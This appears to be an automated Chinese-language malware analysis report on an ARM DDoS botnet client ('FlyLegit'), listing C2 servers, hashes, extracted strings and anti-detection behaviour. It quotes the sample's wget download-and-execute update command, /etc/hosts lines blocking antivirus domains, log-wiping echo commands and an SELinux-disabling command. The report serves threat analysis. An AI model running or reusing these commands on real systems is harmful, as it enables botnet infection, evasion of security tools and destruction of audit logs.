| 分类 | 标签 | 置信度 |
|---|---|---|
| 恶意类型 | IoT DDoS 僵尸网络客户端 | HIGH |
| 家族 | FlyLegit | HIGH |
| 编译器 | Rust (ARM 交叉编译) | HIGH |
| 攻击能力 | HTTP Flood + UDP Flood + TCP 攻击 | HIGH |
| 反检测 | 反 AV sinkholing + 日志清理 | HIGH |
| 更新机制 | wget 远程下载更新 | HIGH |
| 目标平台 | Linux ARM (IoT/嵌入式设备) | HIGH |
| 字段 | 值 |
|---|---|
| 关联组织 | FlyLegit 运营者 |
| 别名 | flylegit, flyE1 (Telegram) |
| 动机 | DDoS 出租服务、网络破坏 |
| 目标行业 | 无特定行业目标(通用 DDoS 攻击) |
| 活动名称 | FlyLegit DDoS 僵尸网络活动 |
| C2协议 | 自定义 TCP 文本协议 |
| C2基础设施 | 83.168.110[.]191, 83.168.69[.]141 (瑞典) |
| 位置 | /tmp/.b |
| 方法 | wget 下载 + chmod +x + 执行 |
| 触发 | C2 发送 !update 指令 |
cd /tmp; wget -q http://%s:%d/updaterros.%s -O .b; chmod +x .b; ./.b &
| 维度 | 评估 |
|---|---|
| 持久化可靠性 | 高(远程更新) |
| 隐蔽性 | 中(/tmp 隐藏文件) |
| 清除难度 | 中 |
| 协议 | 自定义 TCP 文本协议 |
| 端口 | 未知(动态配置) |
| 地址/Domain | 83.168.110[.]191, 83.168.69[.]141 |
| IP | 83.168.110.191, 83.168.69.141 |
| 加密 | 无(明文 TCP) |
| 用途 | 接收攻击指令(!update, !kill, udpplain, method=, port=) |
| API引用 | socket, connect, send, recv |
| 证书 | N/A |
持续连接
C2 基础设施位于瑞典(83.168.110[.]191 和 83.168.69[.]141),属于 FlyLegit 僵尸网络运营者。两个 IP 提供冗余 C2 通信。
N/A
| 段/节区 | 熵值 | 判定 |
|---|---|---|
| .text | 6.40 | 正常(Rust 编译代码) |
| .rodata | 5.10 | 正常 |
| .data | 3.50 | 正常 |
| 地址 | 函数 | 功能 |
|---|---|---|
| N/A | ||
| 调用号 | 系统调用 | 用途 | 地址 |
|---|---|---|---|
| N/A | |||
| 字段 | 值 | 来源 |
|---|---|---|
| 编译器 | Rust (ARM 交叉编译) | DIE 检测 |
| 链接方式 | 静态链接 | DIE 检测 |
| 架构 | ARM 32-bit LE | file(1) 检测 |
| Ghidra 函数数 | 514 | Ghidra headless |
| 维度 | 本样本 | FlyLegit | Mirai | Gafgyt | Mozi | F5 | F6 | F7 | F8 | 匹配 |
|---|---|---|---|---|---|---|---|---|---|---|
| 语言 | Rust | C | C | C | C++ | 0/8 | ||||
| 架构 | ARM | ARM/MIPS/x86 | ARM/MIPS | ARM/MIPS | ARM/MIPS | 0/8 | ||||
| 反 AV | 有 | 无 | 无 | 无 | 无 | 0/8 | ||||
| 更新机制 | wget | wget/tftp | wget/tftp | ✅ wget | ✅ wget | 2/8 | ||||
| 攻击方法 | HTTP/UDP | HTTP/UDP/TCP | ✅ HTTP/UDP | ✅ HTTP/UDP | HTTP/TCP | 2/8 |
| 变种 | 架构 | 大小 | 编译器 | 特征 | 状态 |
|---|---|---|---|---|---|
| N/A | |||||
行为: Rust 运行时初始化,网络配置
证据: Rust 编译 + 静态链接
行为: 修改 /etc/hosts 阻止 AV 域名 + 清除系统日志
证据: 0.0.0.0 avast.com/avg.com/virustotal.com + echo 清空日志
行为: 读取 /proc/self/ 获取进程和系统信息
证据: /proc/self/status, /proc/self/maps, /proc/self/exe
行为: 连接 C2 服务器,接收攻击指令
证据: 83.168.110[.]191, 83.168.69[.]141
行为: HTTP/UDP 洪水攻击
证据: udpplain, method=, HEAD, POST, HTTP/1.1
行为: 远程下载并执行更新载荷
证据: wget updaterros.arm → /tmp/.b → chmod +x → 执行
未构建
无数据
| 维度 | 证据 | 权重 | 恶意指数 |
|---|---|---|---|
| DDoS 攻击能力 | HTTP/UDP 多种攻击向量 | 10 | 10/10 |
| C2 通信 | 两个 C2 IP + 自定义协议 | 10 | 10/10 |
| 反检测 | AV sinkholing + 日志清理 | 8 | 9/10 |
| 更新机制 | 远程 wget 下载更新 | 8 | 9/10 |
| 侦察 | /proc/self/ 信息收集 | 6 | 7/10 |
恶意软件 (MALICIOUS)
| 层 | API/技术 | 检测目标 | 绕过难度 |
|---|---|---|---|
| 无 | |||
| 检测方法 | VMware | VirtualBox | QEMU/KVM |
|---|---|---|---|
| 无 | — | — | — |
| 技术 | 是否存在 | 证据 | 对抗难度 |
|---|---|---|---|
| 反 AV sinkholing | 已检测 | avast.com/avg.com/virustotal.com → 0.0.0.0 | 中 |
| 日志清理 | 已检测 | 清空 auth.log/secure/messages | 中 |
| SELinux 禁用 | 已检测 | echo 0 > /selinux/enforce | 中 |
| 符号剥离 | 已检测 | stripped 二进制 | 低 |
| 反调试 | 未检测 | 无 ptrace 检测 | — |
| 反虚拟机 | 未检测 | 无 VM 检测 | — |
| 层 | 操作 | API/命令 | 证据来源 |
|---|---|---|---|
| 无 | |||
| 反编译函数数 | 514 |
| 反编译输出 | 22,908 行 |
| 分析时长 | ~60 秒 |
/* 514 functions decompiled — ARM:LE:32:v8 */| 总函数数 | 总调用关系 | 最大调用深度 |
|---|---|---|
| 514 | 未分析 | 未分析 |
N/A
| QEMU 模式 | 跳过 (ARM 架构 — 需要 ARM QEMU 环境) |
| 网络隔离 | 待配置 |
| 执行结果 | 待定 |
| C2 数据 | 无动态 C2 通信 |
| 偏移 | 字符串 | 类型 | 用途/含义 | 威胁等级 |
|---|---|---|---|---|
| 0x1bc88 | /usr/bin/wget | 工具 | 下载更新载荷 | HIGH |
| 0x1ba8c | cd /tmp; wget -q http://%s:%d/updaterros.%s -O .b; chmod +x .b; ./.b & | 更新命令 | 远程下载并执行更新 | HIGH |
| 0x1bcd8 | 0.0.0.0 avast.com | 反 AV | 阻止 AV 域名解析 | HIGH |
| 0x1be50 | 0.0.0.0 avg.com | 反 AV | 阻止 AV 域名解析 | HIGH |
| 0x1be74 | 0.0.0.0 virustotal.com | 反 AV | 阻止 VirusTotal 域名解析 | HIGH |
| 0x1c35c | !update | C2 命令 | 远程更新指令 | HIGH |
| 0x1c3c8 | !kill | C2 命令 | 终止僵尸进程 | HIGH |
| 0x1c3f4 | udpplain | 攻击方法 | UDP 洪水攻击 | HIGH |
| 0x1c428 | method= | 攻击配置 | HTTP 攻击方法配置 | HIGH |
| 0x1c370 | port= | 攻击配置 | 目标端口配置 | HIGH |
| 0x1c654 | echo '' > /var/log/auth.log | 日志清理 | 清除认证日志 | HIGH |
| 0x1c6a4 | echo '' > /var/log/messages | 日志清理 | 清除系统日志 | HIGH |
| 0x1b8ec | /proc/self/status | 侦察 | 读取进程状态 | MEDIUM |
| 0x1b978 | /proc/self/exe | 侦察 | 读取自身可执行文件 | MEDIUM |
C2 IP 地址 83.168.110[.]191 和 83.168.69[.]141 均位于瑞典,属于 FlyLegit 僵尸网络基础设施。反 AV 域名 sinkholing 通过修改 /etc/hosts 将安全厂商域名指向 0.0.0.0。远程更新机制使用 wget 从 C2 服务器下载 ARM 架构的更新载荷。
83.168.110[.]191 — FlyLegit C2 服务器 (瑞典)83.168.69[.]141 — FlyLegit C2 服务器 (瑞典)hxxp://83.168.110[.]191:{port}/updaterros.{arch} — 远程更新载荷下载avast.com/avg.com/virustotal.com → 0.0.0.0 — DNS sinkholing 阻止 AV 检测014bbcf2d56904052a3f82d384d92d6146e5b903bbc0f09b265aa84571455f2e — 样本 SHA2566daa27df6d8e3f5895976033dde7f341 — 样本 MD5未生成
| 判定结果 | 🔴 恶意软件 |
| 恶意类型 | IoT DDoS 僵尸网络客户端 |
| 恶意家族 | FlyLegit |
| 威胁级别 | HIGH |
| 置信度 | 95% — 高置信度:完整 DDoS 攻击命令 + 反 AV sinkholing + C2 IP 确认 |
| 关联组织 | FlyLegit 运营者 (Telegram: t.me/flylegit) |
| 目标平台 | Linux ARM (IoT 设备) |
| 感染链位置 | Stage 1 — 僵尸网络客户端 |
该样本为 FlyLegit DDoS 僵尸网络的 ARM 架构客户端,使用 Rust 编译。具备 HTTP/TCP/UDP 多种 DDoS 攻击能力,包含反 AV 域名 sinkholing(avast/avg/virustotal → 0.0.0.0)、远程更新机制、日志清理功能。C2 服务器位于 83.168.110[.]191 和 83.168.69[.]141(瑞典)。Ghidra 反编译产出 514 个函数。